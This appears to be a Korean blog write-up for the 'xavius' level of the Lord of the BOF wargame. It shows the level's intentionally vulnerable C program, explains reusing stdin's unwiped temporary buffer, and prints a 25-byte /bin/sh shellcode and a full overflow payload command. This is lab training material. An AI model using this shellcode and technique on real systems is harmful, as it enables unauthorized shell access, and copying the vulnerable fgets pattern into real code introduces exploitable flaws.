/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);

}


주석을 보면 fgets 함수에서 오버플로우를 발생시켜야한다.

그리고 바로 아래에 있는 두개의 if문을 보면 ret 0xbf로 시작하거나 0x08로 시작하는 주소가 들어가면 프로그램이 종료된다. 이 말은 즉 스택의 주소를 이용할 수 없다는 것이다.


또한 memset으로 버퍼의 값을 44바이트까지 0으로 변경한다.


이전과는 조금 다르게 문제에 접근해야한다.


fgets함수를 보면 stdin 임시버퍼를 사용해 buffer에 값을 입력한다.

memset으로 초기화 하더라도 임시버퍼에 있는 값들은 초기화가 되지 않는다. 이 점을 이용해 문제를 풀면 된다.


먼저 gdb로 임시버퍼의 주소를 확인한다.

1. main+29에 BP를 걸고 실행한다.

2. 임시버퍼의 주소를 찾는다.


0x4001500에 stdin의 주소다.

이제 버퍼에 쉘코드를 넣고 ret에 stdin의 주소를 넣어주면 된다.


25바이트 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



payload : (python -c 'print "\x90"*44+"\x74\x50\x01\x40"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./xavius


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

+ Recent posts